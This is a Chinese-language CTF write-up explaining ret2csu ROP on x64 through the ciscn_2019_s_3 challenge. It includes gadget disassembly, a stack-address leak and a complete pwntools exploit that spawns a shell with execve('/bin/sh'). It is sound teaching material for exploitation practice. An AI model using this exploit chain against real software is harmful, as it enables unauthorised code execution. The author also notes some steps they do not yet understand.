中级ROP之ret2_csu_init

64位的参数传递使用的寄存器顺序

前六个参数使用寄存器的顺序是:

1
rdi,rsi,rdx,rcs,r8,r9

之后的参数就是放入栈中了。

例如参数大于七时

1
2
3
4
5
fun(a,b,c,d,e,f,g,h)//只是示范就不写参数类型了
a->rdi,b->rsi,c->rdx,d->rcx,e->r8,f->r9
h->esp
g->esp
call->fun

介绍_libc_csu_init

在大多数情况下,我们很难找到每一个寄存器的gdgets,这时候就可以利用x64下的_libc_csu_init中的gedgets。这个函数是用来对libc进行初始化的,一般的程序都会调用这个函数,所以这个函数一定会存在。

比如例题的,长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:0000000000400580                               loc_400580:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 4C 89 EA mov rdx, r13
.text:0000000000400583 4C 89 F6 mov rsi, r14
.text:0000000000400586 44 89 FF mov edi, r15d
.text:0000000000400589 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400589
.text:000000000040058D 48 83 C3 01 add rbx, 1
.text:0000000000400591 48 39 EB cmp rbx, rbp
.text:0000000000400594 75 EA jnz short loc_400580
.text:0000000000400594
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 48 83 C4 08 add rsp, 8
.text:000000000040059A 5B pop rbx
.text:000000000040059B 5D pop rbp
.text:000000000040059C 41 5C pop r12
.text:000000000040059E 41 5D pop r13
.text:00000000004005A0 41 5E pop r14
.text:00000000004005A2 41 5F pop r15
.text:00000000004005A4 C3 retn
.text:00000000004005A4 ; } // starts at 400540
.text:00000000004005A4
.text:00000000004005A4 __libc_csu_init endp

loc_400596:里都是pop,在loc_400580:里再赋给其他我们需要的寄存器

这里r15赋给edi处,是低32位,需要确认高位为0才可以用,不过我们有pop rdi这个gadget

然后通过这些就可以系统调用**execve(‘/bin/sh’,0,0)**了

例题 ciscn_2019_s_3

查看保护和反汇编

checkesc

64位,堆栈不可执行
ida
main函数

1
2
3
4
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vuln(argc, argv, envp);
}

vuln函数

1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

汇编

说一下汇编代码
xor rax, rax====== > 将rax设置为0
mov edx, 400h=== >将edx设置为0x400
lea rsi, [rsp+buf]== > 将buf参数的地址传入寄存器rsi
mov rdi, rax===== >将rax寄存器里的值(0)传入rdi寄存器(将rdi设置为0)
syscall ========= >进行系统调用
这段是执行了 read(0,buf,0x400)
下面的write也是一样
两个函数都是通过系统调用的方式实现
对于amd64程序sys_read 的调用号 为 0 ;sys_write 的调用号 为 1;stub_execve 的调用号 为 59;

buf只有0x10,read函数可以输入0x400,足以栈溢出
read之后有write,本题用它接收写入的/bin/sh地址
ida中有一个gadgets

汇编

可以看到有将rax设置为59的gadget
记下来execve=0x4004E2 //mov rax 59
接下来只要设置execve函数的参数,通过pop指令持续控制,让rdi=/bin/sh,rsi=0,rdx=0即可获得shell
但是gadget中没有控制rdx的(通过ROPgadget指令查找)

_libc_csu_init函数中的gadget

这里有控制rdx的指令
先调用loc_400596的函数(从pop rbx处的地址开始)设置rbp为1,r12为/bin/sh地址加8(后面说),其他的都为0。
再调用loc_400580函数将上函数设置的值传到目标寄存器里。
让rbx为0,rbp为1目的是在后面跳出循环(但是做题时不跳也能通,还不明白为啥,即rbp也可以是0)
这么做的目的:在loc_400580里有一步call,它的调用地址是由r12和rbx决定的,rbx已经设置为0,我们可以设置r12为我们想要的地址)

写binsh

本题没有/bin/sh,需要我们自己写。
write打印了0x30字节,会泄露一些栈上的地址
因为开启了保护,每次的站地址会不同,但是偏移是不会变的。
我们要找一个可以被write输出的地址,通过偏移来获得写入的/bin/sh地址
由vuln函数中的**lea rsi, [rsp+buf]**可知,rsi记录buf的地址
gdb调试(断点还是打在了nop处,输入了aaaa)

这个是buf地址,查看该地址

注意这三行,到上图标记的位置处就已经是0x28(40)了

1
2
3
0x7fffffffdf40:	0x00007f0a61616161	0x0000000000400540# 前八位是aaaa
0x7fffffffdf50: 0x00007fffffffdf70 0x0000000000400536
0x7fffffffdf60: 0x00007fffffffe068 0x0000000100000000

0x00007fffffffdf70是rbp栈底,0x00007fffffffe068这个地址比他高,处于栈中,所以他是栈中的一个地址(想到这,我觉得0x00007fffffffdf70应该也可以)

0x0000000000400536是main函数的nop,还不知道为啥它会在这里
0x00007fffffffdf70之前由0x20个字节,在接收地址时要先把他们过滤掉。
再计算它到输入内容的偏移

所以接收数据后减去0x128就是我们输入的位置
还需要syscall,在ida里就能找到,当然ROPgadget也可以
地址syscall=0x400501

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
#io=remote('node4.buuoj.cn',26790)
io=process('./ciscn_s_3')
vuln_addr=0x4004ED
execv=0x4004E2 #mov rax 59
pop_rdi_addr=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15_addr=0x40059A
mov_call_addr=0x400580
syscall_addr=0x400501
payload1=b'/bin/sh\x00'+p64(pop_rdi_addr)+p64(vuln_addr)
io.sendline(payload1)
io.recv(0x20)
bin_sh_addr=u64(io.recv(8))-0x128#本地
#bin_sh_addr=u64(io.recv(8))-0x118#远程
payload2=b'/bin/sh\x00'+p64(pop_rdi_addr)+p64(pop_rbx_rbp_r12_r13_r14_r15_addr)+p64(0)+p64(1)+p64(bin_sh_addr+0x8)+p64(0)*3
payload2+=p64(mov_call_addr)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(execv)+p64(syscall_addr)
io.sendline(payload2)
io.interactive()

注意上面的payload2,前面说将r12设置为我们想要执行的函数,我们将地址设置成了/bin/sh+8,而填充栈部分分别是/bin/sh和pop rdi,可能是我还没理解到位,遇到了一些目前无法理解的情况:/bin/sh后面接上其他pop一个寄存器的gadget都可以,直接把r12设置为pop rdi的地址不行。
另外,本地和远程计算出来的偏移量不同